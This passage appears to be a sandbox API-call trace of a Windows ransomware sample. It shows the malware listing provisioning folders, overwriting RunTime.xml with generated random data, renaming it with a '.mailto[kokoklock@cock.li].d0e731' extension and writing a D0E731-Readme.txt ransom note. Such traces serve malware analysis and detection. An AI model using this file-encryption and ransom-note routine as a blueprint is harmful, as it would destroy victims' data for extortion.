lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8d8 [0084.432] WriteFile (in: hFile=0x8d8, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2b6bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2b6bfbcc*=0x481, lpOverlapped=0x0) returned 1 [0084.432] CloseHandle (hObject=0x8d8) returned 1 [0084.433] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494c18) returned 1 [0084.433] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6d28) returned 1 [0084.433] RtlExitUserThread (Status=0x1) Thread: id = 1237 os_tid = 0x13c0 [0084.423] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3486f68 [0084.425] wcscpy (in: _Dest=0x3486f68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime" [0084.425] wcscat (in: _Dest=0x3486f68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\" [0084.425] wcscat (in: _Dest=0x3486f68, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\*" [0084.425] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34abbb0 [0084.425] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\*", lpFindFileData=0x34abbb0 | out: lpFindFileData=0x34abbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0598 [0084.433] wcscmp (_String1=".", _String2=".") returned 0 [0084.433] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x34abbb0 | out: lpFindFileData=0x34abbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.434] wcscmp (_String1="..", _String2=".") returned 1 [0084.434] wcscmp (_String1="..", _String2="..") returned 0 [0084.434] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x34abbb0 | out: lpFindFileData=0x34abbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f7b887, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f7b887, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f7b887, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x2a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0084.434] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml", _String2=".") returned 1 [0084.434] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml", _String2="..") returned 1 [0084.434] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x342a498 [0084.434] wcscpy (in: _Dest=0x342a498, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime" [0084.434] wcscat (in: _Dest=0x342a498, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\" [0084.434] wcscat (in: _Dest=0x342a498, _Source="0__Power_EnergyEstimationEngine.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" [0084.726] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x342a498, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8dc [0084.727] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x34abbb0 | out: lpFindFileData=0x34abbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f7b887, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f7b887, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f7b887, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x2a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 0 [0084.727] FindClose (in: hFindFile=0x33e0598 | out: hFindFile=0x33e0598) returned 1 [0084.727] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34abbb0) returned 1 [0084.727] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486f68) returned 1 [0084.727] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431808) returned 1 [0084.727] RtlExitUserThread (Status=0x0) Thread: id = 1238 os_tid = 0x13c4 [0084.434] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime.xml")) returned 0x20 [0084.434] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 1 [0084.435] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8dc [0084.435] GetFileSizeEx (in: hFile=0x8dc, lpFileSize=0x2b7bf8d0 | out: lpFileSize=0x2b7bf8d0*=546) returned 1 [0084.435] SetFilePointerEx (in: hFile=0x8dc, liDistanceToMove=0x21e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.435] ReadFile (in: hFile=0x8dc, lpBuffer=0x2b7bf8a4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b7bf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2b7bf8a4*, lpNumberOfBytesRead=0x2b7bf8a0*=0x4, lpOverlapped=0x0) returned 1 [0084.436] SetFilePointerEx (in: hFile=0x8dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.436] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e0e0 [0084.436] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0084.436] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0084.436] NtQuerySystemTime (in: CurrentTime=0x2b7bf87c | out: CurrentTime=0x2b7bf87c*=132121176423360472) returned 0x0 [0084.436] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0x80914e8e [0084.436] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0xf5674419 [0084.436] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0xe3286104 [0084.436] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0x9b66185b [0084.436] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0xd35ecfb2 [0084.436] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0x24f36561 [0084.436] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0xb33c9d8f [0084.436] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0xf6931481 [0084.436] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0x4cad5d3e [0084.436] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0xe506d19f [0084.437] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0xf93b9190 [0084.437] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0x68950efd [0084.437] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0x4db5bc3e [0084.437] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0x4d7e47fa [0084.437] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0x13a5384c [0084.437] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0x8b007d61 [0084.437] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0x34c2b392 [0084.437] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0xe7b2fa7c [0084.437] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0x70cd95ee [0084.437] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0x950e1568 [0084.437] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0x3ea665c5 [0084.437] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0xc76f1a31 [0084.437] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0x488f94f1 [0084.437] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0xa65f27bd [0084.437] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0x5c4e1d11 [0084.437] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0xbda9e346 [0084.437] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0xaa6f8560 [0084.437] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0x23fb9859 [0084.437] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0x9298352c [0084.437] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0xb1e5162b [0084.437] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0x947ca285 [0084.437] RtlRandom (in: Seed=0x2b7bf888 | out: Seed=0x2b7bf888) returned 0x903e1382 [0084.447] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0084.447] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e0e0) returned 1 [0084.447] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0084.447] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0084.447] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e0e0 [0084.447] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e0e0) returned 1 [0084.447] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0084.447] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.447] ReadFile (in: hFile=0x8dc, lpBuffer=0x348d230, nNumberOfBytesToRead=0x222, lpNumberOfBytesRead=0x2b7bf87c, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2b7bf87c*=0x222, lpOverlapped=0x0) returned 1 [0084.448] SetFilePointerEx (in: hFile=0x8dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7bf844 | out: lpNewFilePointer=0x0) returned 1 [0084.448] WriteFile (in: hFile=0x8dc, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x222, lpNumberOfBytesWritten=0x2b7bf878, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2b7bf878*=0x222, lpOverlapped=0x0) returned 1 [0084.448] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e0e0 [0084.448] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e6d0 [0084.448] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e6d0) returned 1 [0084.448] WriteFile (in: hFile=0x8dc, lpBuffer=0x342e0e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2b7bf874, lpOverlapped=0x0 | out: lpBuffer=0x342e0e0*, lpNumberOfBytesWritten=0x2b7bf874*=0x20, lpOverlapped=0x0) returned 1 [0084.448] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e0e0) returned 1 [0084.448] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.448] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0084.448] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0084.448] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0084.448] WriteFile (in: hFile=0x8dc, lpBuffer=0x342e798*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2b7bf8a0, lpOverlapped=0x0 | out: lpBuffer=0x342e798*, lpNumberOfBytesWritten=0x2b7bf8a0*=0x8, lpOverlapped=0x0) returned 1 [0084.448] WriteFile (in: hFile=0x8dc, lpBuffer=0x2b7bf8b8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2b7bf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2b7bf8b8*, lpNumberOfBytesWritten=0x2b7bf8a0*=0x4, lpOverlapped=0x0) returned 1 [0084.448] WriteFile (in: hFile=0x8dc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2b7bf8a0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2b7bf8a0*=0x4, lpOverlapped=0x0) returned 1 [0084.448] WriteFile (in: hFile=0x8dc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2b7bf8a0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2b7bf8a0*=0x6c, lpOverlapped=0x0) returned 1 [0084.449] WriteFile (in: hFile=0x8dc, lpBuffer=0x342e400*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2b7bf8a0, lpOverlapped=0x0 | out: lpBuffer=0x342e400*, lpNumberOfBytesWritten=0x2b7bf8a0*=0x20, lpOverlapped=0x0) returned 1 [0084.449] WriteFile (in: hFile=0x8dc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2b7bf8a0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2b7bf8a0*=0x4, lpOverlapped=0x0) returned 1 [0084.449] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0084.449] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e770) returned 1 [0084.449] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e798) returned 1 [0084.449] CloseHandle (hObject=0x8dc) returned 1 [0084.450] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x106) returned 0x3479e38 [0084.450] wcscpy (in: _Dest=0x3479e38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml" [0084.450] wcscat (in: _Dest=0x3479e38, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0084.450] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.450] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.450] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e38) returned 1 [0084.450] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 0 [0084.451] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3494b38 [0084.451] wcscpy (in: _Dest=0x3494b38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\" [0084.451] wcscat (in: _Dest=0x3494b38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\D0E731-Readme.txt" [0084.451] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\d0e731-readme.txt")) returned 0xffffffff [0084.451] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8dc [0084.451] WriteFile (in: hFile=0x8dc, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2b7bf89c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2b7bf89c*=0x481, lpOverlapped=0x0) returned 1 [0084.452] CloseHandle (hObject=0x8dc) returned 1 [0084.453] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494b38) returned 1 [0084.453] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f7068) returned 1 [0084.453] RtlExitUserThread (Status=0x1) Thread: id = 1239 os_tid = 0x13c8 [0084.454] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x34871c0 [0084.454] wcscpy (in: _Dest=0x34871c0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime" [0084.454] wcscat (in: _Dest=0x34871c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\" [0084.454] wcscat (in: _Dest=0x34871c0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\*" [0084.454] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34ac550 [0084.454] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\*", lpFindFileData=0x34ac550 | out: lpFindFileData=0x34ac550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e05d8 [0084.455] wcscmp (_String1=".", _String2=".") returned 0 [0084.455] FindNextFileW (in: hFindFile=0x33e05d8, lpFindFileData=0x34ac550 | out: lpFindFileData=0x34ac550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.455] wcscmp (_String1="..", _String2=".") returned 1 [0084.455] wcscmp (_String1="..", _String2="..") returned 0 [0084.455] FindNextFileW (in: hFindFile=0x33e05d8, lpFindFileData=0x34ac550 | out: lpFindFileData=0x34ac550*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66020, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x663, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0084.455] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml", _String2=".") returned 1 [0084.455] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml", _String2="..") returned 1 [0084.455] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x342a5b0 [0084.455] wcscpy (in: _Dest=0x342a5b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime" [0084.455] wcscat (in: _Dest=0x342a5b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\" [0084.455] wcscat (in: _Dest=0x342a5b0, _Source="0__Power_EnergyEstimationEngine.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" [0084.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x342a5b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c0 [0084.725] FindNextFileW (in: hFindFile=0x33e05d8, lpFindFileData=0x34ac550 | out: lpFindFileData=0x34ac550*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66020, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x663, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 0 [0084.725] FindClose (in: hFindFile=0x33e05d8 | out: hFindFile=0x33e05d8) returned 1 [0084.725] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ac550) returned 1 [0084.725] 